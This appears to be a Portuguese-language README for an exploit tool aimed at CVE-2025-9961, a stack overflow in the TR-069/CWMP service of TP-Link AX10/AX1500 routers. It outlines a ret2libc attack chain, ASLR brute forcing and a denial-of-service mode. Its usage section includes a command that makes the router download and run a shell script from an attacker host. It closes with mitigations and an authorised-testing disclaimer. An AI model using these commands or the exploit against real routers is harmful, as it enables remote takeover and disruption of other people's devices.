CVE-2025-9961

TP-Link AX10/AX1500 CWMP Estouro de Buffer RCE

Visão Geral

Estouro de buffer baseado em pilha no CWMP (TR-069) levando à execução remota de código.

Fluxo de Ataque

flowchart LR
    A[Attacker] --> B["Malicious ACS"]
    B --> C["SetParameterValues"]
    C --> D["Stack Overflow"]
    D --> E["Overwrite PC"]
    E --> F["ret2libc"]
    F --> G["system()"]
    G --> H["RCE"]

Detalhes Técnicos

A vulnerabilidade está no tratamento do processo cwmp de requisições SOAP SetParameterValues. A entrada é usada para calcular o tamanho do buffer sem verificação de limites.

Exploração:

• Use ret2libc para chamar system()
• Bypass de ASLR via força bruta
• Reinícios do serviço permitem tentativas repetidas

Uso

python exploit.py <target_ip> --check-only

python exploit.py 192.168.0.1 --dos

python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"

Parâmetros

Requisitos

Nenhum (usa biblioteca padrão)

Mitigação

• Atualizar para firmware corrigido
• Desabilitar TR-069/CWMP
• Restringir acesso à porta 7547

Aviso Legal

Apenas para testes de segurança autorizados.